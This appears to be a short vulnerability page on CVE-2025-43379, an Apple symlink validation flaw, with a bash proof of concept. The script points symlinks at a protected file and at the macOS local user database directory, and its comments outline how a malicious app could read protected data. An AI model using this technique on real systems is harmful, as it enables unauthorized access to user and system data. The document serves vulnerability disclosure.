CVE-2025-43379 Apple产品符号链接验证漏洞导致敏感数据泄露

#!/bin/bash # CVE-2025-43379 PoC - Symbolic Link Traversal # This PoC demonstrates the symlink validation issue # Create a symlink pointing to a protected file ln -sf /Users/Shared/secret_data.txt /tmp/app_data_link # Alternative: Point to system configuration ln -sf /var/db/dslocal/nodes/Default/users/ /tmp/users_link # In a real attack scenario: # 1. Malicious app creates symlink to protected data # 2. App uses file picker or document handler # 3. System resolves symlink without proper validation # 4. Protected data becomes accessible # Example iOS/macOS code pattern that would trigger: # let fileManager = FileManager.default # let data = try Data(contentsOf: URL(fileURLWithPath: "/tmp/app_data_link")) # // Without proper symlink check, this reads /Users/Shared/secret_data.txt echo "Symlink created: /tmp/app_data_link -> /Users/Shared/secret_data.txt" echo "PoC demonstrates symlink can bypass file access restrictions"